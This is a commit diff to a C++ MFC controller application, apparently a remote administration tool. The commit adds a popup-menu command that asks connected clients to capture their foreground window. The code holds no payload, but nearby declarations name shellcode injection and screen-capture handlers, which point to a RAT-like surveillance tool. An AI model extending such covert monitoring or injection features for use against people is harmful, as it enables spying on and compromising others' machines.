Feat: Support viewing active window via online-host popup menu
This commit is contained in:
Binary file not shown.
@@ -641,6 +641,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
m_bmOnline[56].LoadBitmap(IDB_BITMAP_UNCOMPRESS);
|
||||
m_bmOnline[57].LoadBitmap(IDB_BITMAP_UNINSTALL);
|
||||
m_bmOnline[58].LoadBitmap(IDB_BITMAP_COPY);
|
||||
m_bmOnline[59].LoadBitmap(IDB_BITMAP_ACTIVE_WND);
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
m_ServerDLL[i] = nullptr;
|
||||
m_ServerBin[i] = nullptr;
|
||||
@@ -993,6 +994,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_SPLITTER_MOVED, &CMy2015RemoteDlg::OnSplitterMoved)
|
||||
ON_MESSAGE(WM_SPLITTER_RELEASED, &CMy2015RemoteDlg::OnSplitterReleased)
|
||||
ON_COMMAND(ID_COPY_CLIENT_INFO, &CMy2015RemoteDlg::OnCopyClientInfo)
|
||||
ON_COMMAND(ID_ONLINE_ACTIVE_WND, &CMy2015RemoteDlg::OnOnlineActiveWnd)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -4030,6 +4032,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_STD, MF_BYCOMMAND, &m_bmOnline[24], &m_bmOnline[24]);
|
||||
Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]);
|
||||
Menu.SetMenuItemBitmaps(ID_COPY_CLIENT_INFO, MF_BYCOMMAND, &m_bmOnline[58], &m_bmOnline[58]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_ACTIVE_WND, MF_BYCOMMAND, &m_bmOnline[59], &m_bmOnline[59]);
|
||||
|
||||
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
||||
|
||||
@@ -10298,6 +10301,22 @@ LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam)
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::PostCaptureForegroundWindow(context* ctx)
|
||||
{
|
||||
// 向指定客户端发送"动态前景窗口捕获"命令。
|
||||
// 复用 WM_OPEN_WINDOW_SCREEN 消息,hwnd64 用 (uint64_t)-1 作为 sentinel。
|
||||
// 调用方示例(在 UI 线程,已持有 context* 的情况下):
|
||||
// PostCaptureForegroundWindow(GetSelectedContext());
|
||||
char* arg = new char[2 * sizeof(uint64_t)]();
|
||||
uint64_t clientID = ctx->GetClientID();
|
||||
uint64_t sentinel = (uint64_t)-1;
|
||||
memcpy(arg, &clientID, sizeof(uint64_t));
|
||||
memcpy(arg + sizeof(uint64_t), &sentinel, sizeof(uint64_t));
|
||||
if (!PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) {
|
||||
delete[] arg;
|
||||
}
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
char* ip = (char*)wParam;
|
||||
@@ -11338,3 +11357,13 @@ void CMy2015RemoteDlg::OnCopyClientInfo()
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineActiveWnd()
|
||||
{
|
||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
if (!Pos) return;
|
||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||
auto ctx = GetContextByListIndex(iItem);
|
||||
if (!ctx) return;
|
||||
PostCaptureForegroundWindow(ctx);
|
||||
}
|
||||
|
||||
@@ -381,7 +381,7 @@ public:
|
||||
bool IsDllRequestLimited(const std::string& ip);
|
||||
void RecordDllRequest(const std::string& ip);
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[59]; // 21 original + 4 context menu + 2 tray menu + 26 main menu + 3 new menu icons + 1 snapshot + 1 copy
|
||||
CBitmap m_bmOnline[60];
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
FileTransformCmd m_CmdList;
|
||||
@@ -511,6 +511,7 @@ public:
|
||||
afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OpenWindowScreen(WPARAM wParam, LPARAM lParam);
|
||||
void PostCaptureForegroundWindow(context* ctx); // 向客户端发送"动态前景窗口捕获"命令
|
||||
afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
|
||||
LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
|
||||
afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);
|
||||
@@ -633,4 +634,5 @@ public:
|
||||
afx_msg LRESULT OnSplitterMoved(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg void OnCopyClientInfo();
|
||||
afx_msg void OnOnlineActiveWnd();
|
||||
};
|
||||
|
||||
@@ -498,13 +498,13 @@
|
||||
<ItemGroup>
|
||||
<Image Include="res\2015Remote.ico" />
|
||||
<Image Include="res\audio.ico" />
|
||||
<Image Include="res\bitmap\ActiveWnd.bmp" />
|
||||
<Image Include="res\Bitmap\AddWatch.bmp" />
|
||||
<Image Include="res\Bitmap\AdminRun.bmp" />
|
||||
<Image Include="res\Bitmap\AssignTo.bmp" />
|
||||
<Image Include="res\Bitmap\AuthGen.bmp" />
|
||||
<Image Include="res\Bitmap\authorize.bmp" />
|
||||
<Image Include="res\Bitmap\Backup.bmp" />
|
||||
<Image Include="res\bitmap\bitmap9.bmp" />
|
||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||
<Image Include="res\bitmap\compress.bmp" />
|
||||
<Image Include="res\Bitmap\Copy.bmp" />
|
||||
|
||||
@@ -323,8 +323,8 @@
|
||||
<Image Include="res\Bitmap\Snapshot.bmp" />
|
||||
<Image Include="res\bitmap\compress.bmp" />
|
||||
<Image Include="res\bitmap\uncompress.bmp" />
|
||||
<Image Include="res\bitmap\bitmap9.bmp" />
|
||||
<Image Include="res\bitmap\uninstall.bmp" />
|
||||
<Image Include="res\Bitmap\Copy.bmp" />
|
||||
<Image Include="res\bitmap\ActiveWnd.bmp" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -662,5 +662,7 @@ void CSystemDlg::OnWlistView()
|
||||
memcpy(arg + sizeof(uint64_t), &hwnd64, sizeof(uint64_t));
|
||||
|
||||
ASSERT(m_pParent);
|
||||
m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0);
|
||||
if (!m_pParent || !m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) {
|
||||
delete[] arg;
|
||||
}
|
||||
}
|
||||
|
||||
BIN
server/2015Remote/res/Bitmap/ActiveWnd.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/ActiveWnd.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
@@ -267,6 +267,8 @@
|
||||
#define IDB_BITMAP_UNCOMPRESS 387
|
||||
#define IDB_BITMAP9 388
|
||||
#define IDB_BITMAP_COPY 389
|
||||
#define IDB_BITMAP10 390
|
||||
#define IDB_BITMAP_ACTIVE_WND 390
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
#define IDC_STATIC_TIPS 1002
|
||||
@@ -1002,14 +1004,16 @@
|
||||
#define ID_COPY_CLIENT_INFO 33063
|
||||
#define ID_WLIST_33064 33064
|
||||
#define ID_WLIST_VIEW 33065
|
||||
#define ID_ONLINE_33066 33066
|
||||
#define ID_ONLINE_ACTIVE_WND 33067
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 389
|
||||
#define _APS_NEXT_COMMAND_VALUE 33066
|
||||
#define _APS_NEXT_RESOURCE_VALUE 391
|
||||
#define _APS_NEXT_COMMAND_VALUE 33068
|
||||
#define _APS_NEXT_CONTROL_VALUE 2542
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
#endif
|
||||
|
||||
Reference in New Issue
Block a user